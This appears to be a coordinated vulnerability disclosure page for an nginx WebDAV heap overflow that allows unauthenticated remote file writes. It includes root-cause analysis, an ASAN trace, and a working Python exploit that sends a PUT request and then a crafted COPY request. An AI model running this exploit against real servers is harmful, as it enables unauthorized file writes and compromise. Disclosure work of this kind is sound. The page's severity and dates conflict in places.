ANT-2026-VS18SA90 · nginx

arbitrary-file-write critical

CVE-2026-27654

Severity Claude critical · Security research firm critical · Maintainer -

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Calif.

ANT-2026-VS18SA90: unauthenticated remote file write in nginx WebDAV module

The nginx WebDAV module allows unauthenticated remote clients to write files to the server.

Target

Project: nginx
Discovery: static analysis — not yet dynamically reproduced

Reproduction

This finding was identified by static analysis and has not yet been dynamically reproduced. A trigger input is not included.

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-VS18SA90.


Reference: ANT-2026-VS18SA90
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Calif. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
critical

CVD Vulnerability Disclosure Report

Section A — Policy Checklist

All six fields are required by Anthropic's CVD policy. Do not send externally until every item is checked or completed.

**\#** **Policy-Required Field** **Complete**
1 **AI-Discovery Label** This report is marked as **AI-discovered**
2 **Human Reviewer(s)** Name(s): Anas Cherni of Calif.io
3 **Confirmed Finding** Real security impact ReproducibleSufficient detail for maintainer
4 **Patch Verification** No patch included
5 **Response Category** ☐ Active exploitation → 7-day (+7 ext)
\[x\] Latent vulnerability → 90-day (+14 ext)
☐ Ecosystem-level → coordinate before disclosure
**Severity (CVSS)** High
6 **Bulk-Report Pre-Coordination** N/A

Section B — Vulnerability Header

**Vulnerability Title & ID** Heap Buffer Overflow in ngx\_http\_map\_uri\_to\_path() via DAV COPY/MOVE with alias
**Security-Relevant** Yes
**Severity Rating** High
**Bug Category** Heap Buffer Overflow, Integer Underflow
**Affected Software** Nginx 1.29.5
**Recipient / Maintainer** [*Nginx security policy*](https://github.com/nginx/nginx/blob/master/SECURITY.md)
**Date Reported** 2026-03-10

Section C — Executive Summary

A heap buffer overflow in ngx_http_map_uri_to_path() is triggered when a DAV COPY or MOVE request supplies a Destination URI shorter than the alias location name, causing an unsigned integer underflow in the buffer size calculation. The resulting undersized allocation is overwritten by a memcpy call with a wrapped byte count, which copies bytes from elsewhere on the heap (including attacker-controlled HTTP header data) into the destination path buffer. This constitutes a path injection: the corrupted buffer replaces the intended destination with an attacker-influenced filesystem path. Nginx's path traversal checks (ngx_http_parse_unsafe_uri) validate only the original Destination URI but not the overwritten buffer. As a result, the injected path is passed unchecked to the file write routine.

On aarch64 Linux with glibc, we confirmed this as a remote arbitrary file write primitive. An unauthenticated attacker sends two HTTP requests (PUT to upload a payload, COPY to trigger the overflow). The heap corruption redirects the file write to an attacker-influenced filesystem path such as /tmp/evil_file.sh. The number of usable path characters depends on the nginx configuration, specifically the difference between the alias directive path length and the location name length.

Section D — Root Cause Analysis

Technical Description

The DAV module's COPY/MOVE handler (ngx_http_dav_copy_move_handler) resolves the destination filesystem path by temporarily replacing r->uri with the parsed Destination header value (duri) and calling ngx_http_map_uri_to_path(). This function computes the output buffer size as:

path->len = clcf->root.len + reserved + r->uri.len - alias + 1

All operands are size_t (unsigned 64-bit). The alias variable holds the length of the location name (e.g., 5 for /dav/). When the Destination URI is shorter than the location name (duri.len \< alias), the subtraction r->uri.len - alias wraps to approximately SIZE_MAX. Adding root.len + 1 wraps the total back to a small positive value. ngx_pnalloc then allocates a buffer shorter than root.len.

Two out-of-bounds writes follow immediately:

  1. ngx_copy(path->data, clcf->root.data, clcf->root.len) writes root.len bytes into the undersized buffer — a heap overflow of alias - duri.len bytes past the allocation.
  2. ngx_copy(last, r->uri.data + alias, r->uri.len - alias) passes SIZE_MAX as the count to memcpy. On aarch64 with glibc, the optimized memcpy epilogue handles this without crashing by copying 64 bytes using wrapping pointer arithmetic, writing attacker-controlled HTTP header bytes into the destination path buffer. The corrupted path is then passed to ngx_copy_file() or ngx_ext_rename_file(), which writes the source file's content to the attacker-controlled filesystem path.

The URI swap at line 701 bypasses re-validation: r->valid_location was set during the original request's location match and is never cleared for the substituted URI. Consequently, ngx_http_map_uri_to_path() trusts the alias offset without verifying that the new URI is long enough to support the subtraction.

First Faulty Condition

**Source file** src/http/ngx\_http\_core\_module.c
**Function** ngx\_http\_map\_uri\_to\_path()
**Line** 1943
**Condition** r-\>uri.len \\< alias (unsigned). The destination URI is shorter than the location name, causing r-\>uri.len - alias to wrap to SIZE\_MAX, producing an undersized buffer allocation. No bounds check guards this subtraction.

The precondition that enables this is at src/http/modules/ngx_http_dav_module.c, line 701, where r->uri is replaced with the attacker-supplied duri without validating duri.len >= clcf->alias.

Trace Analysis

To obtain a symbolized stack trace, nginx was built with AddressSanitizer (-fsanitize=address -g -O0) and the following COPY request was sent:

COPY /dav/d00_xxx...xxx/.../exploit_src.txt HTTP/1.1

Host: localhost:9080

X-Pad: XXXXX/tmp/evil_file.sh

Destination: /da

The destination URI (/da, 3 bytes) is shorter than the location name (/dav/, 5 bytes), triggering the unsigned underflow. ASAN's memcpy interceptor detected the resulting SIZE_MAX count and aborted the worker with the following trace:

==PID==ERROR: AddressSanitizer: negative-size-param: (size=-2)

  \#0  \_\_asan\_memcpy                   (interceptor)

  \#1  ngx\_http\_map\_uri\_to\_path        src/http/ngx\_http\_core\_module.c:1987

          → ngx\_copy(last, r-\>uri.data + alias, r-\>uri.len - alias)

            count = 3 - 5 = SIZE\_MAX (interpreted as -2 by ASAN)

  \#2  ngx\_http\_dav\_copy\_move\_handler  src/http/modules/ngx\_http\_dav\_module.c:703

          → ngx\_http\_map\_uri\_to\_path(r, \&copy.path, \&root, 0)

            r-\>uri has been replaced with duri (len=3) at line 701

  \#3  ngx\_http\_dav\_handler            src/http/modules/ngx\_http\_dav\_module.c:194

  \#4  ngx\_http\_core\_content\_phase     src/http/ngx\_http\_core\_module.c:1282

  \#5  ngx\_http\_core\_run\_phases        src/http/ngx\_http\_core\_module.c:889

  \#6  ngx\_http\_handler                src/http/ngx\_http\_core\_module.c:872

  \#7  ngx\_http\_process\_request        src/http/ngx\_http\_request.c:2172

On non-ASAN aarch64 builds, frame #1 does not crash. Instead, glibc's memcpy completes via its epilogue, and execution continues to ngx_copy_file() at ngx_http_dav_module.c:851, which writes the file to the corrupted path.

Section E — Exploitability Assessment

Attack Vector & Reachability

**Factor** **Assessment**
**Attack vector** Network (remote)
**Authentication required** None
**User interaction** None
**Reachability notes** The attacker sends two standard HTTP requests to the DAV-enabled endpoint: - Request 1: a PUT to a deep path uploads the payload file. The create\_full\_put\_path on directive (common in WebDAV configurations) causes nginx to create intermediate directories automatically. - Request 2: a COPY with a crafted Destination header shorter than the alias location name triggers the underflow and redirects the file write.The vulnerable code path is entered whenever ngx\_http\_dav\_module processes a COPY or MOVE request against a location using the alias directive.

Technical Primitive

Arbitrary file write to an attacker-controlled filesystem path with attacker-controlled content.

The memcpy(dst, src, SIZE_MAX) at line 1987 of ngx_http_core_module.c overwrites the heap-allocated destination path buffer with bytes sourced from the attacker's HTTP headers. On aarch64 with glibc, the optimized memcpy epilogue handles the SIZE_MAX count by copying 64 bytes via wrapping pointer arithmetic, placing attacker-controlled header data at path[0..N-1]. A NUL byte from nginx's header parser terminates the string, and the resulting path is passed directly to ngx_copy_file() (for COPY) or ngx_ext_rename_file() (for MOVE), which writes the previously uploaded source file to that path. The attacker controls both the destination path (via header byte positioning) and the file content (via the PUT-uploaded payload). The number of controlled path characters is config-dependent: (root.len - alias_len) - 15.

Mitigation Analysis

This is a data-only attack. The exploit corrupts a filename string on the heap, not a code pointer. The corrupted string is consumed by a normal open() + write() syscall sequence.

**Defense** **Status** **Notes**
**ASLR** N/A The exploit does not depend on any memory addresses. It overwrites a file path string (data), not a code pointer.
**DEP / NX** N/A No code is injected or executed from data pages. The exploit uses nginx's own ngx\_copy\_file() to write the file through normal execution.
**Stack Canaries** N/A The overflow targets a heap buffer ngx\_pnalloc, not the stack. Stack canaries are not checked.
**CFI** N/A No indirect call or virtual dispatch is corrupted. All function calls in the exploit path follow the program's original control flow.
**Sandboxing** N/A Nginx worker processes are not sandboxed. They run as a regular OS process with direct filesystem access. The file is written using the worker's effective UID/GID.
**ngx\_http\_parse\_unsafe\_uri()** Bypassed The DAV module validates the Destination URI duri for path traversal sequences. However, the actual file write destination comes from the overflow and is never validated.

Reproduction Steps

  1. **Environment setup**

Build nginx 1.29.5 with ngx_http_dav_module on aarch64 Linux (glibc). No special compiler flags are required — a standard production build is exploitable. For diagnostic confirmation, a parallel ASAN build can be used.

./configure --prefix=/opt/nginx --with-http_dav_module

make -j$(nproc) && make install

Configure with alias + dav_methods in the same location:

server {

  listen 9080;

  server\_name localhost;

  location /dav/ {

      alias /opt/nginx/data/webdav/shared/uploads/;

      \# root.len=37, alias\_len=5 → controlled = (37-5)-15 = 17 chars

      dav\_methods PUT DELETE MKCOL COPY MOVE;

      create\_full\_put\_path on;

  }

}

Start nginx:

mkdir -p /opt/nginx/data/webdav/shared/uploads/

/opt/nginx/sbin/nginx

  1. **Upload payload via PUT**

Upload the desired file content to a deep path (\~4048-char URI). The deep path forces the source path allocation to exceed nginx's pool allocator threshold, isolating it from the destination buffer that will be overflowed.

import socket

HOST, PORT = "localhost", 9080

dir_names = [f"d{i:02d}_" + "x" * 196 for i in range(20)]

source_uri = "/dav/" + "/".join(dir_names) + "/exploit_src.txt"

payload = b"ARBITRARY FILE CONTENT HERE"

req = (

  f"PUT {source\_uri} HTTP/1.1\\r\\n"

  f"Host: {HOST}:{PORT}\\r\\n"

  f"Content-Length: {len(payload)}\\r\\n"

  f"\\r\\n"

).encode() + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.sendall(req)

print(s.recv(4096).decode()) # HTTP/1.1 201 Created

s.close()

  1. **Trigger the file write via COPY**

Send a COPY request with an injection header containing the desired destination path and a short Destination URI to trigger the underflow. The Destination (/da, 3bytes) is shorter than the location name (/dav/, 5 bytes):

req = (

  f"COPY {source\_uri} HTTP/1.1\\r\\n"

  f"Host: {HOST}:{PORT}\\r\\n"

  f"X-Pad: XXXXX/tmp/evil\_file.sh\\r\\n"

  f"Destination: /da\\r\\n"

  f"\\r\\n"

).encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.sendall(req)

print(s.recv(4096).decode()) # HTTP/1.1 204 No Content

s.close()

The last 17 bytes of the X-Pad header value (/tmp/evil_file.sh) overwrite path[0..16], becoming the destination filesystem path. The file is written by nginx's own ngx_copy_file() through normal control flow.

  1. **Verification**

On aarch64/glibc: the file /tmp/evil_file.sh exists on the server with the content ARBITRARY FILE CONTENT HERE, written by the nginx worker process.

PoC artifact poc\_nginx\_dav\_alias\_overflow.py is an automated end-to-end test with PUT upload, COPY exploit, and byte-for-byte content verification.
Build configuration gcc, no special flags required (standard ./configure --with-http\_dav\_module). For diagnostic trace add -fsanitize=address -g to --with-cc-opt and --with-ld-opt.
Environment Ubuntu 24.04.4 LTS, aarch64, kernel 6.12.67-linuxkit, glibc 2.39

Note: the heap corruption makes the worker unstable after one exploit attempt. For repeated tests, restart nginx between attempts.

TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-29 Reported to tracker
  2. 2026-04-05 Sent to maintainer
  3. 2026-05-07 Patch released
  4. 2026-05-07 Maintainer acknowledged
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

70c7065a7506628831667e565053165f8142abd80e67756200c4b6cb0d6c34fe0590d7f2fa655fbfd2cc36da73eeb98d23667209d18f2ca4ba3f2554e8194d1c

Committed 2026-04-05 16:37 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-VS18SA90",
  "bug_class": "Arbitrary File Write",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-03-29T20:40:17+00:00",
  "description": "The nginx WebDAV module allows unauthenticated remote clients to write files to the server.",
  "discovered_at": null,
  "location": null,
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "nginx",
  "reproduction": null,
  "technical_details": null,
  "title": "unauthenticated remote file write in nginx WebDAV module",
  "vendor_severity": "critical"
}